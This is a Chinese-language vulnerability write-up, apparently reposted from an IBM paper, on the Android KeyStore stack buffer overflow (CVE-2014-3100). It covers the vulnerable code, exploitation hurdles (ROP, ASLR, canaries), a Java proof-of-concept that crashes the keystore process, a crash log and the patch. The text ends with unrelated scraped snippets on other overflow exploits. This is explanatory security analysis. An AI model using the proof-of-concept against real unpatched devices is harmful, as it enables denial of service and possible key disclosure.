Android KeyStore Stack Buffer Overflow (CVE-2014-3100)

/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: [email protected]

*/

1. KeyStore Service

在Android中,/system/bin/keystore进程提供了一个安全存储的服务。在过去的版本中,其他程序主要用过UNIX socket的守护进程/dev/socket/keystore去访问这个服务。然而,现在我们可以通过Binder机制去访问它。

每一个Android用户都有一块其私有的安全存储区域。所有秘钥信息使用一个随机key并用AES加密算法加密,加密好的密文采用另外一个key加密后保存到本地磁盘。(后面的key通过PKCS5_PBKDF2_HMAC_SHA1函数算出来的)

在近期的一些Android版本中,证书管理(例如RSA算法的私有key)是可以通过专门的硬件做支持的。这也就是说,keystore的key只是用来标识存储在专有硬件上的真正key。尽管有专有硬件的支持,但是还是会有一些证书,例如VPN PPTP的证书,依然会保存在本地磁盘上。

图一很好的阐述了keystore安全存储机制的工作原理。当然,更多的关于keystore服务的一些内部信息大家都可以在网上找到相关资料。

2. Simplicity

通过源代码(keystore.c)中的注释我们可以知道KeyStore被设计出来的时候想的略微简单了点:

/* KeyStore is a secured storage for key-value pairs. In this implementation,
* each file stores one key-value pair. Keys are encoded in file names, and
* values are encrypted with checksums. The encryption key is protected by a
* user-defined password. To keep things simple, buffers are always larger than
* the maximum space we needed, so boundary checks on buffers are omitted.*/

代码实现起来虽然简单,但是缓冲区的大小并不总是比他们设想的最大空间要小。

3. Vulnerability

容易被攻击的缓冲区主要是在KeyStore::getKeyForName函数中。

ResponseCode getKeyForName (
<span style="white-space:pre">	</span>Blob * keyBlob ,
<span style="white-space:pre">	</span>const android :: String8 & keyName ,
<span style="white-space:pre">	</span>const uid_t uid ,
<span style="white-space:pre">	</span>const BlobType type )
{
	char filename [ NAME_MAX ];
	encode_key_for_uid ( filename , uid , keyName );
	...
}

这个函数有好几个调用者,外部程序可以很容易的通过Binder接口来调用它。(例如,int32_t android::KeyStoreProxy::get(const String16& name, uint8_t** item, size_t*

itemLength))。因此,恶意程序可以很轻松的控制变量keyName的值和长度。

接下来,encode_key_for_uid函数中调用了encode_key函数,这个函数在没有边界检查的情况下会造成filename的缓冲区溢出。

static int encode_key_for_uid (
	char * out ,
	uid_t uid ,
	const android :: String8 & keyName )
{
	int n = snprintf ( out , NAME_MAX , "% u_ ", uid );
	out += n;
	return n + encode_key ( out , keyName );
}

static int encode_key (
	char * out ,
	const android :: String8 & keyName )
{
	const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());
	size_t length = keyName . length ();
	for ( int i = length ; i > 0; --i , ++ in , ++ out ) {
		if (* in < '0' || * in > '~ ') {
			* out = '+' + (* in >> 6);
			*++ out = '0' + (* in & 0 x3F );
			++ length ;
		} else {
			* out = * in ;
		}
	}
	* out = '\0 ';
	return length ;
}

4. Exploitation

恶意程序如果要使用这个漏洞,那么还需要解决如下几个问题:

(1).数据执行保护(DEP)。这个可以采用Return-Oriented Programming (ROP)的方法绕过。

(2).地址随机化(ASLR)。

(3).堆栈检测(Stack Canaries)。

(4).编码。小于0x30 (‘0‘)或者大于0x7e (‘~‘)的字符会被编码之后再写回到缓存区中。

不过好在Android KeyStore服务被结束了之后马上会重启,这个特性加大了攻击成功的概率。此外,攻击者理论上可以使用ASLR去对抗编码。

5. Impact

各种信息泄露

6. Proof-of-concept

可以通过以下Java代码触发漏洞:

Class keystore = Class.forName("android.security.KeyStore");
Method mGetInstance = keystore.getMethod ("getInstance");
Method mGet = keystore.getMethod ("get", String.class);
Object instance = mGetInstance.invoke( null ); inf
mGet.invoke( instance ,
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+
" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");

运行上述代码后,KeyStore进程奔溃,日志如下:

F/ libc ( 2091): Fatal signal 11 ( SIGSEGV ) at 0 x61616155 ( code =1) , thread 2091 ( keystore )

I/ DEBUG ( 949): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***

I/ DEBUG ( 949): Build fingerprint : ‘ generic_x86 / sdk_x86 / generic_x86 :4.3/ JSS15

J/ eng . android - build .20130801.155736: eng / test - keys ‘

I/ DEBUG ( 949): Revision : ‘0‘

I/ DEBUG ( 949): pid : 2091 , tid : 2091 , name : keystore >>> / system / bin / keystore <<<

I/ DEBUG ( 949): signal 11 ( SIGSEGV ), code 1 ( SEGV_MAPERR ) , fault addr 61616155

I/ DEBUG ( 949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030

I/ DEBUG ( 949): esi b82a78a0 edi 000003 e8

I/ DEBUG ( 949): xcs 00000073 xds 0000007 b xes 0000007 b xfs 00000000 xss 0000007 b

I/ DEBUG ( 949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202

I/ DEBUG ( 949):

I/ DEBUG ( 949): backtrace :

I/ DEBUG ( 949): #00 pc 0000 c937 / system / bin / keystore ( KeyStore :: getKeyForName ( Blob * ,

android :: String8 const & ,

unsigned int , BlobType )+695)

I/ DEBUG ( 949):

I/ DEBUG ( 949): stack :

I/ DEBUG ( 949): bff85ce0 00000000

...

I/ DEBUG ( 949): bff85d48 00000007

I/ DEBUG ( 949): bff85d4c bff85ed0 [ stack ]

I/ DEBUG ( 949): bff85d50 bff8e1bc [ stack ]

I/ DEBUG ( 949): bff85d54 b77765a3 / system / bin / keystore

I/ DEBUG ( 949): bff85d58 b7776419 / system / bin / keystore

I/ DEBUG ( 949): bff85d5c bff85ed4 [ stack ]

I/ DEBUG ( 949): ........ ........

I/ DEBUG ( 949):

I/ DEBUG ( 949): memory map around fault addr 61616155:

I/ DEBUG ( 949): ( no map below )

I/ DEBUG ( 949): ( no map for address )

I/ DEBUG ( 949): b72ba000 - b73b8000 r -- / dev / binder

7. Patch

getKeyForName函数不再使用C风格的字符串去保存filename了。另外,使用了getKeyNameForUidWithDir函数去替代encode_key_for_uid生成编码的密钥名。前者正确的计算了编码后密钥的长度。

ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,
	const BlobType type ) {
	android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));
	...
}
android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {
	char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null char
	encode_key ( encoded , keyName );
	return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,
	encoded );
}

原paper:http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow

Android KeyStore Stack Buffer Overflow (CVE-2014-3100),布布扣,bubuko.com

时间: 2024-10-06 18:02:05

Android KeyStore Stack Buffer Overflow (CVE-2014-3100)的相关文章

Microsoft IIS WebDav &#39;ScStoragePathFromUrl&#39; Remote Buffer Overflow (CVE-2017-7269)

ExplodingCan https://github.com/danigargu/explodingcan An implementation of ExplodingCan's exploit extracted from FuzzBunch, the "Metasploit" of the NSA. Details Vulnerability: Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow C

CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android. Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt.

CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android.Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt. struct ioctl_smd_write_arg_type { char *buf; unsigned int size; }; #define GSERIAL_BUF_LEN 256 char smd

buffer overflow

Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any bounds checking for array references, and that local variables are stored on the stack along with state information such as saved register values and

buffer overflow vulnerabilitie

Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,buffer overflow vulnerabilitieshave accounted for the majority of security holes in network and Internet servers. These vulnerabilities exist because to

【Valgrind】How to check buffer overflow/underflow in 10 mins

Introduction Buffer overflow/underflow frequently happens when we did something wrong with the array index, no matter the array is heap or stack, no matter you are reading the memory or writing the memory. Example 1: heap overflow // head_overflow.c

*** buffer overflow detected ***

[email protected]:~/http_load$ ./http_load -p 1021 -s 10 url*** buffer overflow detected ***: ./http_load terminated ======= Backtrace: =========/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7f8b1248c08c]/lib/x86_64-linux-gnu/libc.so.6(+0x11

Android Bluetooth Stack: Bluedroid(五):The analysis of A2DP Source

1. A2DP Introduction The Advanced Audio Distribution Profile (A2DP) defines the protocols and procedures that realize distribution of audio content of high-quality in mono or stereo on ACL channels. As indicated in the diagram of 'Protocol Model', A2

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 1. 漏洞描述 音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的参数时没有做有效的边界检查.应用程序可以通过/dev/msm_acdb设备文件就能达到提升权限的目的. 2. 漏洞分析 原始代码如下 if (size <= 0) { pr_err("%s: Invalid size sent to driver: %d\n", __

ubuntu 14.04 ns2.35 ***buffer overflow detected **: ns terminated解决办法

1.按照如下教程安装 Install With Me !: How to Install NS-2.35 in Ubuntu-13.10 / 14.04 (in 4 easy steps) 2.运行一个例子程序时出现 ***buffer overflow detected **: ns terminated 3.参考现有方案出现,gcc error:4.4没有那个文件或目录 sudo apt-get intall gcc-4.4 sudo apt-get intall g++-4.4 修改tcl